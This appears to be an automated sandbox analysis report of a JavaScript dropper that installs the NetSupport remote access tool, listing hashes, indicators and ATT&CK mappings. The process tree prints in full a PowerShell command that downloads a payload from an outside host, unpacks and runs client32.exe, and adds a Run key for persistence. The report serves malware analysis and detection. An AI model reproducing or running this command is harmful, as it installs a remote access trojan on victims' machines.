netsupport | a2acfa2a3c60f90e0f9b1522b2abbdc4542aedfe41e74bd9ae273f272fa9b066

Analysis

max time kernel
86s
max time network
87s
platform
windows11-21h2_x64
resource
win11-20240214-en
resource tags

arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system
submitted
22/03/2024, 17:36

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General

Target
Update_121.0.616.js
Size 2.1MB
Sample240322-v621dsec62
SHA256 6369daabaaddeae0814f8ad5a1a931d180a32d7ef9c5738215aead2f6a90849c
MD5 06d126c1c612fff5200d81d27a55146d
SHA1 855c4d47c573c62f73c339a9392fb22265c0a884
SHA512 f29999b32558e4b3689b2439521c0266aba92afa312e4f230b4b7a0932ddfcc0b8141a77d966734bd65dba5f38cb714cf814bf4e42491709a99716b005f6b0d7
SSDEEP 49152:blHeolHeolHeolHeolHeolHeolHeolHeolHeolHeolHeolHeTlHeolHeolHeolHJ:bhhhhhhhhhhhQhhhhhhhhhhhhhhhhhhd
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://edulokam.com/data.php?7125
exe.dropper
https://edulokam.com/data.php?7125

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	1756	wscript.exe
3	1756	wscript.exe
4	1756	wscript.exe
6	1756	wscript.exe
7	1996	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4572	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
4572	client32.exe
4572	client32.exe
4572	client32.exe
4572	client32.exe
4572	client32.exe
4572	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2567984660-2719943099-2683635618-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICEC = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX13\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1996	powershell.exe
1996	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeSecurityPrivilege	4572	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4572	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1756 wrote to memory of 1996	1756	wscript.exe	77
PID 1756 wrote to memory of 1996	1756	wscript.exe	77
PID 1996 wrote to memory of 4572	1996	powershell.exe	79
PID 1996 wrote to memory of 4572	1996	powershell.exe	79
PID 1996 wrote to memory of 4572	1996	powershell.exe	79

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_121.0.616.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $whwwrabyYbjFeCnXVfifiI='https://edulokam.com/data.php?7125';$RsnlPIcpEppJgqchCUThmInHUFWS=(New-Object System.Net.WebClient).DownloadString($whwwrabyYbjFeCnXVfifiI);$sqlQEWdpuOSLPDdijrMGCLEtzyUzTGvY=[System.Convert]::FromBase64String($RsnlPIcpEppJgqchCUThmInHUFWS);$zxc = Get-Random -Minimum -10 -Maximum 37; $sBVxVgzIBYtEekjqgVLYQ=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $sBVxVgzIBYtEekjqgVLYQ -PathType Container)) { New-Item -Path $sBVxVgzIBYtEekjqgVLYQ -ItemType Directory };$p=Join-Path $sBVxVgzIBYtEekjqgVLYQ 'WWW.zip';[System.IO.File]::WriteAllBytes($p,$sqlQEWdpuOSLPDdijrMGCLEtzyUzTGvY);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$sBVxVgzIBYtEekjqgVLYQ)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $sBVxVgzIBYtEekjqgVLYQ 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else { Write-Host 'No exe.'};$AZ=Get-Item $sBVxVgzIBYtEekjqgVLYQ -Force; $AZ.attributes='Hidden';$s=$sBVxVgzIBYtEekjqgVLYQ+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Users\Admin\AppData\Roaming\DIVX13\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX13\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_jhaq2hff.xjs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhaq2hff.xjs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

HTCTL32.DLL

Path C:\Users\Admin\AppData\Roaming\DIVX13\HTCTL32.DLL
Size 320KB
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
SSDEEP 6144:Hib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKB:Hib5YbsXioEgULFpSzya9/lY5SilQCfR
MD5 SHA1 SHA512 SSDEEP

Submit Download

MSVCR100.dll

Path C:\Users\Admin\AppData\Roaming\DIVX13\MSVCR100.dll
Size 755KB
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
SSDEEP 12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5 SHA1 SHA512 SSDEEP

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NSM.LIC

Path C:\Users\Admin\AppData\Roaming\DIVX13\NSM.LIC
Size 258B
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
MD5 SHA1 SHA512

Submit Download

PCICL32.dll

Path C:\Users\Admin\AppData\Roaming\DIVX13\PCICL32.dll
Size 3.6MB
SHA256 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
MD5 d3d39180e85700f72aaae25e40c125ff
SHA1 f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA512 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f
SSDEEP 49152:0KJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJa:0KJ/zIPq7F4fmXO8u6kS+y/
MD5 SHA1 SHA512 SSDEEP

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client32.exe

Path C:\Users\Admin\AppData\Roaming\DIVX13\client32.exe
Size 101KB
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
SSDEEP 768:q78j0+RH6e6XhBBxUcnRWIDDDDDDDDDDDDDDDDADDDDDDDDDDDDDDDDDDDDDDXDU:qwpHLiLniepfxP91/bQxnu
MD5 SHA1 SHA512 SSDEEP

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client32.ini

Path C:\Users\Admin\AppData\Roaming\DIVX13\client32.ini
Size 677B
SHA256 8cb783cc32f26bbdacf8b16403c194e4199169ef4dffe2f11c081f900f657bd9
MD5 71086c6f76de8064c907c686a4ebec48
SHA1 31b6cb93fd02bad13daaf6771ae415328b89b562
SHA512 52d13f51b4e59d25382a06f8184ee5f66203bb5b0343861f38a56a567b20bc590eb7a9ba71f56dc73c01e4994fd23a13f70b2e68d1870798d04a6472e0bf2cd6
MD5 SHA1 SHA512

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pcicapi.dll

Path C:\Users\Admin\AppData\Roaming\DIVX13\pcicapi.dll
Size 32KB
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
SSDEEP 768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5 SHA1 SHA512 SSDEEP

Submit Download

pcichek.dll

Path C:\Users\Admin\AppData\Roaming\DIVX13\pcichek.dll
Size 18KB
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
SSDEEP 192:dogL7bo2t6n76RRHirmH/L7jtd3hfwjKd3hfwB7bjuZRvI:dogL7bo2YrmRTAKT0iTI
MD5 SHA1 SHA512 SSDEEP

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memory/1996-23-0x000001905A7F0000-0x000001905A802000-memory.dmp

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memory/1996-22-0x000001905A7C0000-0x000001905A7CA000-memory.dmp

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memory/1996-19-0x00000190423E0000-0x00000190423F0000-memory.dmp

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memory/1996-14-0x000001905A530000-0x000001905A552000-memory.dmp

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memory/1996-20-0x00000190423E0000-0x00000190423F0000-memory.dmp

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memory/1996-102-0x00007FFE6D9D0000-0x00007FFE6E492000-memory.dmp

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memory/1996-18-0x00007FFE6D9D0000-0x00007FFE6E492000-memory.dmp

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